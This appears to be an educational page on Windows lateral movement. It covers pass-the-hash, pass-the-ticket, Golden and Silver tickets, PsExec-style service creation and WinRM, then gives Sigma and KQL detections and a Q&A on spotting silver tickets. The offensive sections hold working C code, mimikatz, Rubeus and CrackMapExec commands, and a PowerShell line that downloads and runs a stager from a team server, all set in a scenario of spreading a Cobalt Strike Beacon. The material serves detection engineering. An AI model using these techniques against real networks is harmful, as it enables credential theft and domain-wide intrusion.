Lateral Movement Techniques
Lateral movement converts a single compromised host into access across multiple machines. The tools are Windows' own authentication and remote management protocols — SMB, Kerberos, WinRM. Knowing the protocol mechanics at the packet and API level is what separates a detection engineer from someone who just runs alerts: every technique leaves distinct authentication events, ticket usage patterns, and logon type indicators.
You have harvested an NTLM hash for a domain account with local admin on several workstations. Kerberos is in use but the target doesn't have Credential Guard. Your toolchain includes Cobalt Strike with a Beacon on the initial compromise host. The goal: execute a Beacon stager on three additional workstations and the file server, using only the captured credentials, without interactive RDP sessions that would be immediately visible to the help desk.
Lateral Movement Matrix
| Technique | Protocol | Credential needed | Auth event on target | Logon Type |
|---|---|---|---|---|
| Pass-the-Hash (PtH) | SMB / NTLM | NTLM hash | 4624 (Type 3), 4648 | 3 (Network) |
| Pass-the-Ticket (PtT) | Kerberos | TGT or service ticket | 4624 (Type 3), 4769 | 3 (Network) |
| Overpass-the-Hash | Kerberos via NTLM hash | NTLM hash → TGT request | 4768 (TGT request) on DC | 3 |
| PsExec (service) | SMB + Service Control Mgr | Local admin creds | 4624, 7045 (service install), 4697 | 3 + interactive |
| WMI (wmic/remote) | DCOM/RPC (135+dynamic) | Local admin creds | 4624, 4688 (spawned process) | 3 |
| WinRM (PS remoting) | HTTP 5985 / HTTPS 5986 | Domain creds or local admin | 4624 (Type 3), PowerShell remoting events | 3 |
| RDP | RDP 3389 | Cleartext or Kerberos | 4624 (Type 10), 4778/4779 | 10 (Remote Interactive) |
Pass-the-Hash
// Pass-the-Hash: authenticate to SMB using an NTLM hash without knowing the password.
// Windows NTLM authentication only requires the NT hash, not the cleartext password.
// Tool: mimikatz "sekurlsa::pth" or Impacket's psexec.py / wmiexec.py.
// Native implementation: create a process with a new logon session carrying the hash.
// The key API: LogonUserExExW (undocumented) or CreateProcessWithLogonW + NetUseAdd.
// Mimikatz PtH syntax (passes the hash into a new cmd.exe process):
// sekurlsa::pth /user:admin /domain:corp /ntlm:HASH /run:cmd.exe
// Impacket remote execution with hash:
// python wmiexec.py corp/admin@192.168.1.10 -hashes :NTLMHASH "ipconfig"
// Native Windows: use NtlmSharedMemory credentials via undocumented lsasrv API.
// Or use Cobalt Strike's "pth" command which calls the same mimikatz path internally.
// Detection: PtH produces Event 4624 Type 3 on target + Event 4648 on source.
// Key indicator: 4624 where LogonProcessName = NtLmSsp AND
// AuthenticationPackageName = NTLM AND
// ImpersonationLevel = Impersonation
// In a Kerberos-only environment, any NTLM logon is suspicious.
// Practical C implementation using CreateProcessWithLogonW + SMB:
// 1. NetUseAdd to establish NULL session with hash-derived token
// 2. CreateProcessWithLogonW(LOGON32_LOGON_NEW_CREDENTIALS) — uses supplied hash
// to authenticate to remote resources while running local process
BOOL PtHCreateProcess(LPCWSTR user, LPCWSTR domain,
LPCWSTR ntlmHashHex, LPCWSTR cmd) {
// Uses LOGON32_LOGON_NEW_CREDENTIALS — doesn't verify locally,
// only uses credentials when accessing network resources
PROCESS_INFORMATION pi = {0};
STARTUPINFOW si = { sizeof(si) };
return CreateProcessWithLogonW(
user, domain, ntlmHashHex,
LOGON_NETCREDENTIALS_ONLY,
NULL, (LPWSTR)cmd,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
}
Pass-the-Ticket
# Pass-the-Ticket: inject a Kerberos TGT or service ticket into the current
# logon session. The ticket is then used for all subsequent Kerberos auth requests.
# Source: export ticket from lsass (mimikatz), or forge one (Golden/Silver ticket).
# Export all Kerberos tickets from current session:
# mimikatz: sekurlsa::tickets /export
# → creates .kirbi files (Kerberos ticket format)
# Import a stolen ticket:
# mimikatz: kerberos::ptt admin.kirbi
# PowerShell equivalent via Rubeus:
# Rubeus.exe ptt /ticket:Base64EncodedTicket
# Golden Ticket: forge a TGT using the KRBTGT account hash.
# Requires: krbtgt NT hash, domain SID, target user RID.
# Valid for 10 years by default. Bypasses all password changes.
# mimikatz Golden Ticket:
# kerberos::golden /user:Administrator /domain:corp.local
# /sid:S-1-5-21-XXXX /krbtgt:KRBTGT_HASH
# /id:500 /ptt
# Silver Ticket: forge a service ticket for a specific service (no DC interaction).
# Requires: service account NT hash, domain SID, SPN.
# Access only that service — stealthier than Golden Ticket (no AS-REQ to DC).
# kerberos::silver /user:Administrator /domain:corp.local
# /sid:S-1-5-21-XXXX /target:fileserver.corp.local
# /service:cifs /rc4:SERVICE_ACCOUNT_HASH /ptt
# Detection: Event 4769 (Kerberos Service Ticket Request) on DC.
# Golden ticket: 4769 with TicketEncryptionType 0x17 (RC4) when AES is enforced.
# Silver ticket: NO EVENT on DC (ticket forged locally, no DC contact) —
# only detectable via PAC validation failure if PAC validation is on.
PsExec-Style Service Lateral Movement
// PsExec lateral movement flow:
// 1. Copy a binary to \\TARGET\ADMIN$\TEMP\svc.exe (SMB)
// 2. Create and start a service via Service Control Manager (OpenSCManagerW → CreateService)
// 3. The service runs as SYSTEM, provides a named pipe for I/O
// 4. Delete service + binary when done
// This generates: Event 4697 (service install) + 7045 (new service) on target.
#include <windows.h>
BOOL PsExecMove(LPCWSTR target, LPCWSTR svcName,
LPCWSTR binPath, LPCWSTR cmdLine) {
// Step 1: Copy binary via SMB
WCHAR dest[256];
swprintf_s(dest, L"\\\\%s\\ADMIN$\\TEMP\\%s", target,
PathFindFileNameW(binPath));
CopyFileW(binPath, dest, FALSE);
// Step 2: Open Service Control Manager on remote host
SC_HANDLE hSCM = OpenSCManagerW(target, NULL, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return FALSE;
// Step 3: Create the service pointing to the copied binary
WCHAR svcBin[256];
swprintf_s(svcBin, L"C:\\Windows\\TEMP\\%s %s",
PathFindFileNameW(binPath), cmdLine);
SC_HANDLE hSvc = CreateServiceW(hSCM, svcName, svcName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
svcBin, NULL, NULL, NULL, NULL, NULL);
if (!hSvc) { CloseServiceHandle(hSCM); return FALSE; }
// Step 4: Start it
StartServiceW(hSvc, 0, NULL);
// Step 5: Wait, then clean up service (binary cleanup done by service itself)
Sleep(5000);
SERVICE_STATUS ss;
ControlService(hSvc, SERVICE_CONTROL_STOP, &ss);
DeleteService(hSvc);
CloseServiceHandle(hSvc); CloseServiceHandle(hSCM);
return TRUE;
}
WinRM Lateral Movement
# WinRM (Windows Remote Management) uses HTTP/S for remote PS sessions.
# Enabled by default on servers; needs explicit enable on workstations.
# Logon type 3 (network) — credentials are NOT cached on remote host.
# Defender advantage: full Script Block Logging applies to remoted commands.
# Standard PSRemoting:
$sess = New-PSSession -ComputerName 192.168.1.20 -Credential (Get-Credential)
Invoke-Command -Session $sess -ScriptBlock {
IEX (New-Object Net.WebClient).DownloadString('http://TEAMSERVER/stager.ps1')
}
Remove-PSSession $sess
# Pass-the-Hash compatible WinRM via Invoke-Command with NTLM:
# WinRM supports NTLM — combine with mimikatz pth to get a session without cleartext.
# Invoke-Command -ComputerName TARGET -Authentication Negotiate ...
# CrackMapExec — automates WinRM lateral movement at scale:
# crackmapexec winrm 192.168.1.0/24 -u admin -H NTLM_HASH -x "whoami"
# Evil-WinRM — interactive shell:
# evil-winrm -i 192.168.1.20 -u admin -H NTLM_HASH
Detection Engineering
title: Pass-the-Hash Indicator — NTLM Network Logon with Anonymous Username Pattern
logsource:
product: windows
service: security
detection:
selection:
EventID: 4624
LogonType: 3
AuthenticationPackageName: 'NTLM'
LogonProcessName: 'NtLmSsp'
filter_computer_accounts:
SubjectUserName|endswith: '$' # exclude machine accounts
condition: selection AND NOT filter_computer_accounts
level: medium
tags: [attack.lateral_movement, T1550.002]
title: New Service Created as Part of Lateral Movement (PsExec Pattern)
logsource:
product: windows
service: security
detection:
selection:
EventID: 4697 # Service installed in system
ServiceFileName|contains:
- '\ADMIN$\'
- '\Windows\Temp\'
- '\TEMP\'
condition: selection
level: critical
-- MDE KQL: PsExec-style lateral movement pattern (SMB write + service start)
DeviceNetworkEvents
| where RemotePort == 445 and ActionType == "ConnectionSuccess"
| join kind=inner (
DeviceEvents
| where ActionType == "ServiceInstalled"
| project DeviceName, ServiceName = tostring(AdditionalFields.ServiceName),
ServiceTime = Timestamp
) on DeviceName
| where abs(datetime_diff("second", Timestamp, ServiceTime)) < 30
| project Timestamp, DeviceName, RemoteIP, ServiceName
-- Golden/Silver ticket: Kerberos RC4 tickets in AES-enforced environment
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" // RC4 — anomalous if AES enforced
| where ServiceName != "krbtgt"
| summarize count() by Account, ServiceName, IpAddress, bin(TimeGenerated, 1h)
| where count_ > 1
Q&A
Silver tickets generate no Domain Controller authentication events — what detection controls can identify silver ticket usage if you can't monitor the DC for them?
Silver tickets are forged Kerberos service tickets created locally by an attacker who has compromised a service account's hash. Because a silver ticket bypasses the KDC entirely — the attacker builds the ticket locally and injects it into their Kerberos cache — there is no AS-REQ or TGS-REQ to the Domain Controller that would normally generate Event 4768 or 4769. The ticket is presented directly to the target service (CIFS, HTTP, HOST, etc.) and validated by the service using the service account's key, which the attacker has already stolen.
Detection has to shift from the DC to the target service host and to lateral indicators. First, Kerberos PAC (Privilege Attribute Certificate) validation: if the service is configured to contact the DC to validate the PAC signature, a forged PAC will fail validation and generate an error event. Enabling PAC validation on sensitive services (IIS application pools using Kerberos, SQL Server, file servers) adds a validation step that the silver ticket must pass. Modern Windows versions enable this by default for some service types; ensuring it is not disabled is a hardening step. Second, on the target host, Event 4624 with Logon Type 3 showing Kerberos authentication to the service at an unusual time or from an unusual source will appear. The service name in the Kerberos ticket field should be audited — if the ticket's service name doesn't match the real SPN, that is an indicator. Third, network-level inspection: silver tickets specify a narrow service type (cifs, http, host). An attacker using a CIFS silver ticket to a file server will generate SMB traffic from a workstation that has no recent legitimate TGS-REQ for that service on the DC's Event 4769 log — the absence of a corresponding 4769 for a given service access is itself a detection signal when DC logging is comprehensive.